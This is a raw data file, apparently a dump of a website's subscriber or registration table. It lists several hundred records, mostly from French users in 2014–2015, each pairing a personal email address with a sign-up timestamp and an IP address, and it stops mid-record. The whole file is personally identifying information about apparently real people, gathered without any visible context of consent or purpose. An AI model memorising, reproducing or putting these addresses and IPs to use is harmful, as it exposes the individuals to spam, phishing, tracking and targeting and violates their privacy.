+3671;rosy.badinos@free.fr;2014-09-14 10:44:53;88.171.11.30 +3672;nadelou@gmail.com;2014-09-14 13:43:06;88.124.14.85 +3673;julierv75@gmail.com;2014-09-15 01:54:46;83.115.96.200 +3674;stephanie95490@hotmail.com;2014-09-15 16:15:05;90.22.171.126 +3675;paladejus@gmail.com;2014-09-15 19:01:44;88.175.33.250 +3676;barbara.dzierzyk@orange.fr;2014-09-16 14:27:37;90.29.174.114 +3677;cath@webdefemme.com;2014-09-16 22:09:21;88.163.255.126 +3678;chmielewski.danielle@yahoo.fr;2014-09-17 14:55:35;86.70.86.100 +3679;dominique.zabus@gmail.com;2014-09-17 15:58:02;37.58.137.106 +3680;lydieferreira@754yahoo.fr;2014-09-18 23:49:27;78.250.156.80 +3681;swerlander@gmail.com;2014-09-19 12:01:35;2.71.73.235 +3682;varichon.louloune@wanadoo.fr;2014-09-19 14:24:11;80.15.110.106 +3683;miloup87@yahoo.fr;2014-09-19 16:02:48;88.140.34.78 +3684;Chini68@hotmail.fr;2014-09-19 19:14:18;86.63.250.115 +3685;mensahgrece@yahoo.fr;2014-09-20 16:23:42;41.207.162.252 +3686;keltoi5330@yahoo.fr;2014-09-21 20:06:40;90.60.154.152 +3687;daffyburn@hotmail.fr;2014-09-22 22:01:55;109.210.79.100 +3688;emmanuelle_42@hotmail.com;2014-09-23 16:05:35;109.221.34.56 +3689;n.goudedranche@orange.fr;2014-09-23 16:24:25;86.214.234.89 +3690;titia862009@gmail.com;2014-09-23 22:13:17;90.11.148.249 +3691;loicfred9496@hotmail.fr;2014-09-24 09:33:20;78.121.249.23 +3692;eric-de-lalande@orange.fr;2014-09-24 11:29:18;86.195.74.36 +3693;nickiejoy@free.fr;2014-09-24 14:49:15;81.80.63.53 +3694;anaisbouchard@msn.com;2014-09-24 16:47:06;89.83.138.110 +3695;c.huchet85@laposte.net;2014-09-25 12:20:43;109.211.81.152 +3696;carinne4@free.fr;2014-09-25 19:31:45;82.227.72.123 +3697;christiane.manneville@gmail.com;2014-09-26 04:43:13;88.185.157.59 +3698;eriflor57@gmail.com;2014-09-26 09:27:32;81.64.231.106 +3699;n.tailpied@gmail.com;2014-09-26 15:57:44;83.206.129.163 +3700;4lpyysl@gmail.com;2014-09-27 11:54:44;84.30.127.103 +3701;poupinevero@gmail.colm;2014-09-27 14:24:54;5.57.122.170 +3702;jessyephilibert@gmail.com;2014-09-27 19:13:25;90.36.103.217 +3703;anne@oleos.fr;2014-09-28 11:00:53;86.199.204.64 +3704;christine.payen@free.fr;2014-09-28 17:55:49;88.161.205.112 +3705;jeremy.boissel0848@orange.fr;2014-09-29 13:02:19;90.54.187.193 +3706;bernadetterauber@orange.fr;2014-09-30 07:50:12;90.16.39.146 +3707;thonon.jean-marie@outlook.com;2014-09-30 10:14:55;85.27.101.7 +3708;turpilla@yahoo.fr;2014-09-30 21:12:17;145.129.47.132 +3709;lagirly02@live.fr;2014-10-01 12:51:48;78.236.24.127 +3710;maxgeffie@free.fr;2014-10-01 16:02:28;109.214.160.138 +3711;catherine.candido@hotmail.fr;2014-10-01 17:30:15;88.138.65.64 +3712;mcnannigoursolle@hotmail.fr;2014-10-02 15:41:38;90.5.237.68 +3713;joelle.pibou@wanadoo.fr;2014-10-02 16:15:40;92.153.182.146 +3714;luckyange@orange.fr;2014-10-02 18:53:28;86.208.127.195 +3715;silviva@wanadoo.fr;2014-10-02 23:55:53;90.7.173.212 +3716;gutierrezhelena@orange.fr;2014-10-03 21:19:15;77.196.139.209 +3717;virginie.becel@orange.fr;2014-10-04 14:59:21;90.51.121.237 +3718;isabelle.gomeriel@bbox.fr;2014-10-04 18:13:06;176.183.87.27 +3719;sogi3@wanadoo.fr;2014-10-05 00:20:16;80.12.59.63 +3720;amandineseeb@hotmail.fr;2014-10-05 16:12:17;77.146.187.18 +3721;veroniquedupuya@gmail.com;2014-10-05 19:05:52;88.165.205.248 +3722;emilie.paye@gmail.com;2014-10-05 23:17:18;37.163.156.53 +3723;nicolemuriel@yahoo.fr;2014-10-07 15:08:12;82.229.104.37 +3724;edith.pyta@gmail.com;2014-10-07 18:26:16;78.221.121.22 +3725;stephanie.domingues@free.fr;2014-10-07 19:43:11;82.236.60.139 +3726;aline.zanelli@neuf.fr;2014-10-08 08:53:30;92.142.161.58 +3727;annemarie.tardieu@orange.fr;2014-10-09 10:33:12;109.208.136.191 +3728;jtchermant@hotmail.com;2014-10-09 21:09:54;213.246.255.147 +3729;clarisse.cgdf@gmail.com;2014-10-10 10:37:29;86.202.232.174 +3730;nala_fripouille@yahoo.fr;2014-10-10 12:37:54;83.154.28.80 +3731;veronique.hurard@hotmail.fr;2014-10-10 15:09:18;193.251.21.39 +3732;oriana65@bluewin.ch;2014-10-10 21:19:58;188.61.223.98 +3733;mdecantern@aol.com;2014-10-10 23:39:00;93.31.149.77 +3734;jennybob1@bigpond.com;2014-10-11 14:53:33;120.147.161.207 +3735;clarahelena@numericable.fr;2014-10-11 22:37:44;81.67.174.29 +3736;philiflor@orange.fr;2014-10-12 16:25:16;88.184.209.247 +3737;kfileva@yahoo.com;2014-10-12 21:45:17;77.28.37.48 +3738;erikasmaini@yahoo.fr;2014-10-13 22:19:11;82.124.143.236 +3739;blankakayende@hotmail.fr;2014-10-14 01:14:53;109.215.61.27 +3740;margotte007@hotmail.fr;2014-10-14 09:48:00;109.26.60.60 +3741;marion.monnier87@gmail.com;2014-10-14 10:35:11;195.6.194.17 +3742;fabienne.tinedor@sfr.fr;2014-10-15 08:06:00;77.128.95.227 +3743;katyyannickguiziou@bbox.fr;2014-10-15 16:06:43;89.89.112.112 +3744;cbuton@voila.fr;2014-10-15 16:48:03;82.246.84.65 +3745;mgerard747@yahoo.fr;2014-10-15 19:03:44;83.192.184.91 +3746;Olazabal.maika@orange.fr;2014-10-17 15:49:28;90.38.19.11 +3747;vcesbron@free.fr;2014-10-17 15:49:46;82.245.37.126 +3748;reine-marie.armand@laposte.net;2014-10-17 17:20:21;90.5.0.114 +3749;c.belle13@laposte.net;2014-10-17 23:52:27;88.162.240.211 +3750;nicolehembert@sfr.fr;2014-10-18 15:07:51;93.4.230.115 +3751;soso-biskra@hotmail.fr;2014-10-19 00:02:20;82.247.211.18 +3752;jupin.nathalie@bbox.fr;2014-10-19 20:35:14;128.79.5.168 +3753;catherine.cheminal@wanadoo.fr;2014-10-20 11:07:11;109.213.3.16 +3754;marlenegiroud@yahoo.fr;2014-10-20 22:15:43;80.9.39.121 +3755;julie.planforet@hotmail.fr;2014-10-21 12:38:57;194.177.8.96 +3756;paulinette2b@hotmail.fr;2014-10-21 14:18:11;193.52.208.17 +3757;sasa-d@live.fr;2014-10-21 14:57:07;81.200.189.6 +3758;ptite_km@hotmail.com;2014-10-21 16:16:29;31.37.254.172 +3759;anne.borto@hotmail.fr;2014-10-21 18:08:22;90.60.109.243 +3760;gay.marie-ange@orange.fr;2014-10-21 22:02:39;81.251.53.97 +3761;bbinismeain@gmail.com;2014-10-22 13:09:00;86.46.44.79 +3762;sandrarijks@yahoo.fr;2014-10-22 19:52:53;82.244.138.127 +3763;familthomas@orange.fr;2014-10-24 19:21:46;90.28.140.31 +3764;merlin.annapurna@gmail.com;2014-10-24 23:50:53;165.91.12.32 +3765;carine.brunet17@gmail.com;2014-10-25 08:50:29;86.201.197.164 +3766;caroline.loyer@gmail.com;2014-10-25 12:53:55;84.97.120.189 +3767;carolct4@yahoo.fr;2014-10-25 15:16:33;194.153.110.6 +3768;K.pires@sfr.fr;2014-10-25 17:53:05;92.90.20.128 +3769;gilda.criscolo@wanadoo.fr;2014-10-25 18:41:33;92.145.9.152 +3770;lafeecamomille@gmail.com;2014-10-26 14:22:59;84.101.131.2 +3771;ninie57500@hotmail.fr;2014-10-26 17:15:50;92.90.16.79 +3772;mpl1972@hotmail.fr;2014-10-26 20:58:57;90.38.20.139 +3773;cferreira@smptrading.com;2014-10-27 10:36:21;149.11.100.10 +3774;martine.avet@orange.fr;2014-10-27 10:39:09;80.9.103.156 +3775;veronique.bourdes@sfr.fr;2014-10-27 13:33:15;89.85.0.4 +3776;jfmartel1@free.fr;2014-10-27 17:23:08;88.168.140.151 +3777;dalilalanouar@yahoo.fr;2014-10-28 03:36:41;89.156.17.124 +3778;christellemarty@hotmail.com;2014-10-28 14:03:39;83.202.110.20 +3779;nolwenn.davy@essec.edu;2014-10-28 14:46:30;31.34.247.146 +3780;claire@psychologies.com;2014-10-28 17:53:59;91.223.84.10 +3781;jousselin.veronique@orange.fr;2014-10-29 13:02:42;2.10.136.111 +3782;mailbiskr@gmail.com;2014-10-30 02:57:04;86.205.143.152 +3783;zizie_vito@hotmail.fr;2014-10-30 09:45:46;154.67.115.241 +3784;cecilejacovides@wanadoo.fr;2014-10-30 12:15:27;82.120.80.173 +3785;noreen.lessellier@orange.fr;2014-10-30 12:36:53;109.221.145.178 +3786;ulrichdelphine@yahoo.fr;2014-10-30 15:38:54;213.166.195.135 +3787;marie-claude.pages@laposte.net;2014-10-31 16:48:56;82.151.30.209 +3788;cathychallier@free.fr;2014-10-31 21:49:44;109.16.127.249 +3789;anna.chanel75@gmail.com;2014-11-02 11:28:55;89.90.65.25 +3790;clelie.gref@laposte.net;2014-11-02 15:13:18;92.131.174.201 +3791;moniquemeudan@orange.fr;2014-11-03 10:24:25;81.28.203.203 +3792;ihaerdter@free.fr;2014-11-03 14:33:31;82.233.237.95 +3793;danielle.schmitt1@free.fr;2014-11-03 15:59:34;88.187.123.53 +3794;pradinemarieclaire0@orange.fr;2014-11-03 22:50:07;90.5.211.177 +3795;kernod@wanadoo.fr;2014-11-04 17:09:33;92.136.37.174 +3796;marieclaude.nantes@free.fr;2014-11-04 21:49:55;78.227.191.220 +3797;m.magnan@yahoo.fr;2014-11-04 22:51:29;81.14.103.77 +3798;didier-isa@hotmail.fr;2014-11-05 14:20:05;86.208.15.14 +3799;laur.ferrari@free.fr;2014-11-05 16:42:00;88.181.89.154 +3800;stephaniebonplan@gmail.com;2014-11-06 10:05:04;90.58.253.36 +3801;delphine.keraudren@gmail.com;2014-11-06 15:46:57;77.204.8.126 +3802;christeljoly@gmail.com;2014-11-06 21:15:32;78.211.188.181 +3803;jocelyneprost@msn.com;2014-11-07 00:28:03;88.178.64.79 +3804;laurence62@wanadoo.fr;2014-11-07 09:05:21;92.147.13.91 +3805;pappilio@bbox.fr;2014-11-07 16:13:47;88.172.193.105 +3806;didou636@gmail.com;2014-11-07 22:47:18;92.143.39.8 +3807;deboeuf.patricia@orange.fr;2014-11-08 22:11:02;81.49.184.170 +3808;benedicte.meis@gmail.com;2014-11-08 22:44:13;91.176.77.26 +3809;mnpasero@laposte.net;2014-11-09 11:02:04;212.195.196.30 +3810;jessicazych@hotmail.be;2014-11-09 18:52:45;81.247.204.218 +3811;annie.ritod@gmail.com;2014-11-09 19:35:24;82.244.251.2 +3812;fannylefanu@gmail.com;2014-11-09 22:56:18;92.156.113.12 +3813;helene.giacobazzi@gmail.com;2014-11-10 08:03:59;176.65.75.6 +3814;stephie2009@orange.fr;2014-11-10 08:09:55;92.129.228.115 +3815;nathalie@nethik.fr;2014-11-10 11:58:17;88.186.144.220 +3816;putincham@yahoo.com;2014-11-10 14:43:00;69.64.54.103 +3817;fabienne_humbert@yahoo.fr;2014-11-10 15:19:46;31.38.219.183 +3818;julie-popcorn78@hotmail.fr;2014-11-10 17:04:33;80.12.35.26 +3819;ghislaine.terrier0045@orange.fr;2014-11-10 19:27:35;80.9.177.7 +3820;satsi.basmati@gmail.com;2014-11-10 20:50:18;92.138.161.60 +3821;megel_lucien@yahoo.fr;2014-11-11 12:07:37;89.156.155.208 +3822;florence.drevet@orange.fr;2014-11-11 18:23:42;92.157.91.184 +3823;jobinj@wanadoo.fr;2014-11-11 19:28:19;83.115.193.159 +3824;muriel.cabezos@orange.fr;2014-11-11 21:43:19;90.0.241.97 +3825;pascal.ingrid0504@orange.fr;2014-11-12 10:56:24;90.58.208.121 +3826;alfons1937@gmail.com;2014-11-13 11:54:24;178.118.15.70 +3827;permanalain@live.be;2014-11-13 14:47:14;178.50.85.185 +3828;barbarapalermo94@yahoo.fr;2014-11-13 19:42:22;176.184.29.55 +3829;foulon.vero@wanadoo.fr;2014-11-13 20:22:47;92.155.156.78 +3830;sinasi501@gmail.com;2014-11-13 21:08:14;94.139.53.143 +3831;fefequeen@icloud.com;2014-11-14 15:10:01;195.101.158.54 +3832;Sophie@familyholt.com;2014-11-15 14:25:25;78.197.156.2 +3833;slepavec@wanadoo.fr;2014-11-15 23:08:36;78.213.182.106 +3834;nathalieannabelle@yahoo.fr;2014-11-16 21:13:41;213.245.220.146 +3835;loloviva@sfr.fr;2014-11-16 21:34:55;80.185.82.223 +3836;celdi7@hotmail.com;2014-11-17 08:21:10;81.240.206.83 +3837;carorli@hotmail.fr;2014-11-17 08:53:46;83.205.67.18 +3838;gerlando.clement@laposte.net;2014-11-17 10:56:26;90.34.150.78 +3839;giuliani.helene@orange.fr;2014-11-17 21:44:12;90.18.207.17 +3840;schenk.cindy@bluewin.ch;2014-11-18 20:38:34;188.62.194.22 +3841;toutencadre.morlaix@orange.fr;2014-11-19 07:29:56;2.12.45.47 +3842;cillazen@gmail.com;2014-11-19 09:02:07;62.161.54.234 +3843;marciniak.catherine@orange.fr;2014-11-19 16:07:52;90.40.119.176 +3844;b.verlynde@orange.fr;2014-11-20 12:34:16;81.250.92.236 +3845;kikaloup@hotmail.fr;2014-11-20 20:48:35;92.145.35.103 +3846;aurelie_sa@hotmail.fr;2014-11-20 22:34:18;88.169.8.251 +3847;sophietomps@yahoo.fr;2014-11-21 21:59:25;88.172.107.212 +3848;boivin.cl@voila.fr;2014-11-21 23:55:35;80.215.229.122 +3849;toinette.63@orange.fr;2014-11-22 09:56:43;86.207.65.179 +3850;tibet11000@hotmail.fr;2014-11-22 10:36:16;92.143.40.112 +3851;hmilbeo@club-internet.fr;2014-11-23 07:45:54;77.193.18.178 +3852;elza.khaled@hotmail.com;2014-11-23 17:10:55;109.129.205.12 +3853;azurela06@hotmail.fr;2014-11-24 14:31:38;212.234.218.194 +3854;claire.taria@wanadoo.fr;2014-11-24 15:44:47;92.148.97.20 +3855;bea2507@live.fr;2014-11-25 00:58:15;90.53.21.251 +3856;martinebandol@gmail.com;2014-11-25 14:41:54;37.163.194.155 +3857;marie.chabanon@orange.fr;2014-11-26 11:24:39;86.194.216.213 +3858;chantal.bereau@gmail.com;2014-11-26 14:00:02;86.201.147.72 +3859;c28062010@gmail.com;2014-11-26 19:20:40;85.26.86.141 +3860;fatiha.lebbar@gmail.com;2014-11-26 19:33:43;77.149.7.167 +3861;veronique@lilga.net;2014-11-26 19:34:14;86.205.103.196 +3862;pascalewx@hotmail.com;2014-11-27 12:54:59;91.87.163.250 +3863;arizona@numericable.fr;2014-11-27 13:47:18;81.66.59.219 +3864;gaelle.legendre@hotmail.fr;2014-11-27 15:07:55;82.125.30.135 +3865;an.xelle@hotmail.fr;2014-11-27 16:27:53;217.108.4.153 +3866;steph_d88@hotmail.fr;2014-11-27 17:44:40;92.152.214.176 +3867;e.martin185@laposte.net;2014-11-28 13:28:17;90.102.161.221 +3868;renpingfr@hotmail.com;2014-11-28 23:33:42;109.1.104.69 +3869;paul.cuguillere@orange.fr;2014-11-29 06:23:53;86.202.20.85 +3870;marie.demaret@orange.fr;2014-11-30 16:47:50;92.142.178.82 +3871;michele-1956@live.fr;2014-11-30 19:09:34;78.245.160.242 +3872;perrso1@msn.com;2014-11-30 21:49:38;78.242.223.58 +3873;antje.lallemand@laposte.net;2014-12-01 00:43:25;79.86.41.44 +3874;orely.judic@yahoo.fr;2014-12-01 17:11:35;2.0.83.193 +3875;Carole.buchmuller@cofinluxe.fr;2014-12-01 20:13:34;86.196.73.124 +3876;choubounou75@gmail.com;2014-12-02 00:22:18;109.218.45.214 +3877;martinedufresne@sfr.fr;2014-12-02 19:57:48;109.12.47.68 +3879;thibault@antadis.com;2014-12-03 10:22:34;88.120.248.124 +3880;alex-rich@hotmail.fr;2014-12-03 10:23:28;90.42.152.105 +3881;laure19111977@hotmail.fr;2014-12-03 12:21:06;82.216.216.111 +3882;gabrielamariaferreira@sapo.pt;2014-12-03 15:48:33;213.205.83.82 +3883;gmoff17@gmail.com;2014-12-03 15:49:35;213.205.83.82 +3884;veronique.sassard83@sfr.fr;2014-12-03 17:06:43;93.25.110.161 +3885;sagnimorte.elisabeth@neuf.fr;2014-12-04 08:56:25;92.90.211.120 +3886;l.marin459@laposte.net;2014-12-04 11:15:06;82.225.171.252 +3887;marie-pierre.galloin@cg60.fr;2014-12-04 14:20:08;62.244.114.1 +3888;pierredomi2b@orange.fr;2014-12-04 16:25:20;86.205.29.161 +3889;adel.pec@hotmail.fr;2014-12-05 07:50:32;128.78.202.46 +3890;gregoire.allin@gmail.com;2014-12-05 11:09:23;109.26.156.82 +3891;vincent_leslie@orange.fr;2014-12-05 16:48:55;88.162.200.185 +3892;aurelie.odent@gmail.com;2014-12-05 23:07:01;82.123.125.47 +3893;vanille5563@hotmail.fr;2014-12-06 09:27:33;90.4.244.205 +3894;dareau.martine@orange.fr;2014-12-06 12:29:18;92.160.1.147 +3895;maroulita-m@hotmail.com;2014-12-06 21:43:58;90.197.71.5 +3896;manuesi2002@yahoo.fr;2014-12-07 14:48:16;2.5.140.130 +3897;k.karine23@gmail.com;2014-12-09 08:45:26;78.230.86.141 +3898;marina.ricard@orange.fr;2014-12-09 09:40:59;90.62.185.184 +3899;mariepierrecartegnie@orange.fr;2014-12-09 16:01:55;90.7.255.143 +3900;victoire.minnella@orange.fr;2014-12-09 16:57:29;62.23.231.19 +3901;anny_balazs@yahoo.com;2014-12-09 23:19:47;89.94.104.148 +3902;celine.lebaron@gmail.com;2014-12-10 00:18:12;88.172.18.173 +3903;syl.xav@free.fr;2014-12-12 12:17:10;82.248.55.30 +3904;bigmammadu67@hotmail.fr;2014-12-12 21:15:13;92.161.109.160 +3905;constant.sylvie@free.fr;2014-12-13 20:04:20;78.206.125.106 +3906;tisonemmn@aol.com;2014-12-13 22:11:47;82.241.40.208 +3907;catherine.mendez@club-internet.fr;2014-12-14 07:47:52;77.199.97.140 +3908;mau2303@hotmail.fr;2014-12-14 10:50:24;86.77.27.40 +3909;RACHEZ.P@GMAIL.COM;2014-12-14 17:07:05;79.141.203.97 +3910;martel.s@neuf.fr;2014-12-14 17:28:24;84.99.88.120 +3911;mirage_flier@hotmail.fr;2014-12-15 13:56:50;128.178.146.205 +3912;gil.rieutord0890@orange.fr;2014-12-16 08:06:01;90.61.88.231 +3913;aussenac.domi@hotmail.fr;2014-12-16 23:58:08;88.141.94.221 +3914;dantec.anne@orange.fr;2014-12-17 16:28:13;2.4.48.92 +3915;vanessa.bordat@hotmail.fr;2014-12-17 19:00:35;90.5.217.118 +3916;verrier.vincent@orange.fr;2014-12-17 20:55:26;90.62.132.88 +3917;isadora_fb@yahoo.fr;2014-12-18 11:55:00;82.239.71.79 +3918;didierperr@orange.fr;2014-12-18 12:15:51;92.138.66.239 +3919;patriciacarasco@gmail.com;2014-12-19 17:48:53;81.14.56.159 +3920;Christine.layec17@gmail.com;2014-12-20 10:31:52;90.59.249.19 +3921;peterferrari69@gmail.com;2014-12-21 14:10:54;188.119.236.0 +3922;shriya@hotmail.fr;2014-12-21 19:20:50;93.10.44.247 +3923;thierry.annick@bbox.fr;2014-12-21 20:37:47;176.187.32.174 +3924;elodie.duclerget@propos-nature.com;2014-12-22 09:46:31;194.250.139.46 +3925;martine.legrand@orange-business.fr;2014-12-22 13:46:38;62.160.91.77 +3926;megane.matarat@groupepanther.com;2014-12-22 14:46:54;194.51.82.84 +3927;petit-dragon-magic@live.fr;2014-12-22 19:28:07;92.90.21.108 +3928;pascaleotton@sfr.fr;2014-12-23 10:14:03;77.194.60.41 +3929;naelcaro@laposte.net;2014-12-25 15:47:07;95.128.145.13 +3930;logoth29@gmail.com;2014-12-26 00:22:51;78.123.95.16 +3931;allaerta@hotmail.fr;2014-12-26 00:26:49;90.7.151.147 +3932;masdesuede@wanadoo.fr;2014-12-27 04:56:23;80.12.39.189 +3933;marie-claire.foulatier@laposte.net;2014-12-27 17:30:29;109.212.114.228 +3934;christel_rousseaux@orange.fr;2014-12-28 06:53:09;92.147.77.157 +3935;Ninedav@live.fr;2014-12-28 08:33:18;80.12.39.222 +3936;cupcake@aliasbox.net;2014-12-28 15:58:30;62.203.58.178 +3937;delphinehamon29@gmail.com;2014-12-28 23:06:15;86.214.13.117 +3938;alexis.smartf@hotmail.com;2014-12-29 17:57:13;193.25.198.51 +3939;alexis.smartf@gmail.com;2014-12-29 17:57:19;193.25.198.51 +3940;alexis.smartf@yahoo.fr;2014-12-29 17:57:23;193.25.198.51 +3941;laurence.thibaud@gmail.com;2014-12-30 18:05:47;77.194.61.233 +3942;isaloup.clamens@orange.fr;2014-12-30 20:28:29;92.134.125.46 +3943;chloedesiree@hotmail.fr;2014-12-31 07:17:47;89.94.193.196 +3944;carole.specht@sfr.fr;2015-01-01 19:47:22;84.97.127.160 +3945;marziariva@gmail.com;2015-01-02 09:24:15;84.226.103.126 +3946;michelejclaude.defond@orange.fr;2015-01-03 10:18:08;92.144.210.218 +3947;nat.morel.1@hotmail.fr;2015-01-03 10:48:47;86.73.33.9 +3948;bri.5260@yahoo.fr;2015-01-03 16:44:41;93.14.124.90 +3949;emmagique@hotmail.com;2015-01-03 19:57:27;89.87.119.170 +3950;carole.lufau@gmail.com;2015-01-03 21:10:45;82.216.179.244 +3951;lemitre.m@outlook.com;2015-01-03 22:00:46;88.167.132.216 +3952;dommarion@wanadoo.fr;2015-01-04 18:40:08;86.217.223.134 +3953;margotal@aol.com;2015-01-05 07:56:23;90.11.228.233 +3954;v.darellis@orange.fr;2015-01-05 12:01:00;88.179.9.159 +3955;blue2_angel66@hotmail.com;2015-01-05 13:34:21;81.242.155.7 +3956;bluefeu@sina.com;2015-01-05 13:58:25;221.232.90.103 +3957;margaux.mounier@loreal.com;2015-01-05 17:37:24;81.255.154.161 +3958;dorinelhopital@orange.fr;2015-01-05 22:45:22;90.15.101.122 +3959;jessica.nolid@gmail.com;2015-01-05 23:44:31;93.0.146.166 +3960;veillecosm@gmail.com;2015-01-06 11:09:48;62.192.1.190 +3961;mahasiah@hotmail.be;2015-01-06 14:17:08;213.181.48.179 +3962;marketing@aroli.net;2015-01-06 16:38:52;80.15.173.61 +3963;mussard.morgane@gmail.com;2015-01-06 18:11:45;90.31.246.203 +3964;rivoncamille@yahoo.fr;2015-01-07 12:08:10;83.194.115.143 +3965;73naty@gmail.com;2015-01-07 15:34:08;93.14.156.105 +3966;Emiliejeanne8@gmail.com;2015-01-07 17:50:18;88.165.239.36 +3967;evelyne.roux78@wanadoo.fr;2015-01-07 19:41:15;82.124.68.147 +3968;aureliereglisse@hotmail.fr;2015-01-08 22:29:33;89.86.244.41 +3969;samiatouati@hotmail.fr;2015-01-11 12:59:24;80.215.199.1 +3970;anne.perrodeau@univ-nantes.fr;2015-01-11 15:47:15;89.226.117.134 +3971;maperrodeau@laposte.net;2015-01-11 15:47:30;89.226.117.134 +3972;hcch15@hotmail.com;2015-01-12 09:56:28;83.113.199.231 +3973;josilamy@gmail.com;2015-01-12 12:24:30;90.25.140.142 +3974;cay@chonk.net;2015-01-12 16:45:14;69.51.147.158 +3975;adrienn.surman@gmail.com;2015-01-12 21:03:19;95.170.38.233 +3976;capucinebioderma@gmail.com;2015-01-13 14:41:43;195.167.197.22 +3977;lorraine.choffart@hotmail.fr;2015-01-13 15:02:21;78.230.69.243 +3978;beaumec63@hotmail.fr;2015-01-14 09:53:24;176.184.16.23 +3979;alertesbeaute@outlook.fr;2015-01-14 17:18:18;81.255.155.162 +3980;krikri107@yahoo.fr;2015-01-15 12:54:52;82.224.87.130 +3981;regine.loupias46@gmail.com;2015-01-15 21:15:27;109.223.18.239 +3982;biocapucine@gmail.com;2015-01-16 16:38:35;195.167.197.22 +3983;fredkirsch42@hotmail.fr;2015-01-16 17:28:15;80.185.56.181 +3984;saki.confidentiel@gmail.com;2015-01-16 19:52:48;87.67.6.56 +3985;m-christine.potier@orange.fr;2015-01-17 16:19:17;2.0.226.97 +3986;fidji089@hotmail.fr;2015-01-17 18:20:25;83.196.59.224 +3987;s.brieu@orange.fr;2015-01-18 14:25:37;80.12.59.145 +3988;florence.thomas537@orange.fr;2015-01-19 05:37:31;90.50.123.92 +3989;dom.gardet@free.fr;2015-01-19 10:10:14;83.201.209.28 +3990;icadoun@orange.fr;2015-01-19 11:45:26;90.28.49.252 +3991;finley.berryman@menn.amicushospitality.com;2015-01-19 19:15:25;208.98.25.126 +3992;eliandre.badey@orange.fr;2015-01-19 22:39:57;80.12.59.229 +3993;Alexandra.wecxsteen@hotmail.fr;2015-01-19 23:11:15;178.251.23.215 +3994;alonzo_webb85@ledwell.amicushospitality.com;2015-01-20 12:46:08;198.52.244.61 +3995;stephane.chaignaud@sfr.fr;2015-01-20 14:01:16;77.202.209.245 +3996;josefa.earley@stephanie.100paintingschallenge.com;2015-01-22 01:20:22;69.12.89.145 +3997;v.lebrun78@hotmail.fr;2015-01-22 09:01:14;78.208.76.63 +3998;annie.martellat@sfr.fr;2015-01-22 09:30:06;86.73.242.13 +3999;jacquelyn-philipp11@stephanie.100paintingschallenge.com;2015-01-22 12:14:24;198.52.242.166 +4000;joycelyn-langham@mondello.amicushospitality.com;2015-01-22 19:09:17;167.160.127.69 +4001;julia814@hotmail.fr;2015-01-23 13:08:06;81.57.119.171 +4002;bethcarc.coudry@yahoo.fr;2015-01-23 14:37:25;80.215.198.102 +4003;juliette.bouteliere@hotmail.fr;2015-01-23 16:01:55;212.234.192.48 +4004;hilton-groff45@bandley.amicushospitality.com;2015-01-23 16:23:35;204.152.211.27 +4005;mildred.delagarza71@bandley.amicushospitality.com;2015-01-23 21:53:55;167.160.127.69 +4006;marie-agnes.richard@sfr.fr;2015-01-24 00:40:52;80.118.77.235 +4007;ggisou2b@aol.com;2015-01-24 06:29:24;78.126.235.113 +4008;Lindalao@live.fr;2015-01-25 00:33:24;89.83.63.155 +4009;petitesirene38@live.fr;2015-01-25 18:48:14;88.125.102.79 +4010;revelationrevelation@outlook.fr;2015-01-26 11:44:40;88.121.0.112 +4011;dufourpascale@orange.fr;2015-01-26 15:17:59;46.218.179.51 +4012;bernard.poiret0440@orange.fr;2015-01-27 16:17:10;92.131.251.47 +4013;lkakon8@gmail.com;2015-01-27 16:19:25;213.41.135.146 +4014;vero.fournier13@orange.fr;2015-01-28 13:21:36;82.228.18.215 +4015;contactdigital@garancia-beauty.com;2015-01-28 15:16:15;81.57.119.171 +4016;lauresaigne@free.fr;2015-01-28 18:05:22;82.227.100.241 +4017;saigne@watsoncom.fr;2015-01-28 18:05:45;82.227.100.241 +4018;elisabethketterer@yahoo.fr;2015-01-29 08:44:14;82.244.198.2 +4019;lc-hervy-bourdon@wanadoo.fr;2015-01-30 13:01:43;81.252.207.29 +4020;magalistanley@hotmail.fr;2015-01-30 14:42:33;2.11.171.27 +4021;c.carabasse@hotmail.fr;2015-01-30 15:35:46;79.88.146.87 +4022;bbarande@hotmail.fr;2015-01-31 15:11:30;80.12.35.114 +4023;joelle-lefloch@bbox.fr;2015-02-01 13:55:46;87.90.81.169 +4024;gwenaelle.lafrance@gmail.com;2015-02-01 18:19:12;78.230.134.29 +4025;christelle.leduff@laposte.net;2015-02-01 18:21:42;2.14.109.217 +4026;martineau.charlotte@hotmail.fr;2015-02-01 18:53:45;2.0.102.33 +4027;catherine.cassegrain@orange.fr;2015-02-02 09:06:51;90.21.113.205 +4028;alinebois@hotmail.fr;2015-02-02 17:10:01;194.126.236.218 +4029;lulupic02@hotmail.com;2015-02-02 20:44:52;92.146.122.190 +4030;mado7469@live.fr;2015-02-02 22:06:21;92.93.213.124 +4031;jocelynelamagnere@neuf.fr;2015-02-03 08:58:37;86.72.54.16 +4032;incafisga@gmail.com;2015-02-03 12:01:53;85.88.131.204 +4033;b.yannick28@aliceadsl.fr;2015-02-03 15:15:53;88.167.150.127 +4034;coppolino_sophie@hotmail.com;2015-02-04 13:06:14;158.169.150.5 +4035;clasouday@gmail.com;2015-02-04 13:07:20;5.49.132.25 +4036;natachaberthault@yahoo.fr;2015-02-04 13:12:57;88.176.126.116 +4037;ouin.valerie@orange.fr;2015-02-04 13:25:17;90.25.52.231 +4038;hervelegalle@hotmail.fr;2015-02-04 13:27:59;81.53.124.35 +4039;eve.notelet@laposte.net;2015-02-04 13:30:44;78.248.124.19 +4040;pchristianne@yahoo.fr;2015-02-04 13:43:22;128.78.54.131 +4041;colombeccrs@gmail.com;2015-02-04 14:11:27;92.88.115.48 +4042;anais.marecaux@gmail.com;2015-02-04 14:13:09;81.67.25.54 +4043;frederique.paul@ville-nice.fr;2015-02-04 14:17:52;62.193.61.190 +4044;ambro59@hotmail.fr;2015-02-04 14:17:56;81.66.24.126 +4045;yoyanne@gmail.com;2015-02-04 14:19:48;77.194.133.246 +4046;maryse.le-dily@laposte.net;2015-02-04 14:21:17;212.198.154.210 +4047;be.jeanville@me.com;2015-02-04 14:28:40;90.62.87.73 +4048;mf-halluin@hotmail.fr;2015-02-04 14:33:20;90.47.111.200 +4049;indigo_bennett@gmail.com;2015-02-04 14:53:49;78.244.157.97 +4050;delph7411@gmail.com;2015-02-04 15:00:26;78.244.63.214 +4051;angelho77@aol.com;2015-02-04 15:07:37;93.27.23.118 +4052;paillardgomez@orange.fr;2015-02-04 15:20:55;83.195.245.127 +4053;rochard.chantal@gmail.com;2015-02-04 15:21:26;83.199.41.251 +4054;legveron@hotmail.com;2015-02-04 15:27:39;78.250.143.14 +4055;fatnaziani@hotmail.com;2015-02-04 